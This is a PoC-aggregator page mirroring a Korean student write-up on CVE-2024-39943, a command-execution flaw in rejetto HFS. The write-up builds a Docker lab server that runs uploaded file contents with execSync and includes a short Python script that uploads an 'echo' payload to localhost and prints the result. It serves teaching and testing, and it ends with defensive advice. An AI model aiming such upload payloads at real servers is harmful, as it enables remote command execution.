POC详情: e7020dbfc8e5f785556eb797032be3c539cbccf2

来源
关联漏洞
标题: rejetto HFS 安全漏洞 (CVE-2024-39943)
描述:rejetto HFS是意大利Massimo Melina个人开发者的一款基于Web的文件服务器。 rejetto HFS 0.52.10之前版本存在安全漏洞,该漏洞源于允许经过身份验证的远程用户执行操作系统命令。
介绍

# Node.js HFS 명령어 실행 취약점 (CVE-2024-39943)

>화이트햇 스쿨 3기 – 노정민 ([@JenmrR](https://github.com/JenmrR))

---

## 요약

Node.js 기반 HFS 서버 환경에서, 업로드된 파일의 내용을 `child_process.execSync()`로 실행하는 취약점이 존재한다.  
공격자는 파일 업로드 기능을 통해 OS 명령어를 직접 실행할 수 있으며, 서버 내부 명령어 결과를 확인하거나 시스템을 제어할 수 있다.  
이는 CVE-2024-39943에 해당하는 취약점으로, 명령어 주입(Remote Code Execution)과 동일한 수준의 위협을 발생시킨다.

---

## 환경 구성 및 실행

1. Docker 환경을 통해 서버 실행
2. 서버는 `/upload` 경로로 파일 업로드를 수신하며, 업로드된 파일 내용을 그대로 명령어로 실행
3. 공격자는 업로드를 통해 RCE 가능

### 실행 흐름

```bash
$ sudo docker-compose up --build -d
```

```bash
$ python3 poc.py
```

### poc.py

```python
import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
```

---

## 결과

**PoC 실행 후 서버 응답:**

```
Executed:
Hello_From_Hacked_Server
```
  
![poc-result](./images/poc-output.png)

---

## 정리

- 본 취약점은 외부 입력을 OS 명령어로 실행할 경우 발생하는 전형적인 RCE(Remote Command Execution) 취약점이다.
- 업로드된 파일 내용을 직접 `execSync()`로 실행하는 방식은 심각한 보안 위험을 유발한다.
- 사용자 입력은 항상 검증해야 하며, 서버 내에서 직접 실행하지 않아야 한다.

---
文件快照

[4.0K] /data/pocs/e7020dbfc8e5f785556eb797032be3c539cbccf2 ├── [4.0K] app │   ├── [ 194] package.json │   └── [ 753] server.js ├── [ 74] docker-compose.yml ├── [ 89] Dockerfile ├── [4.0K] images │   └── [ 24K] poc-output.png ├── [ 186] poc.py └── [1.7K] README.md 2 directories, 7 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。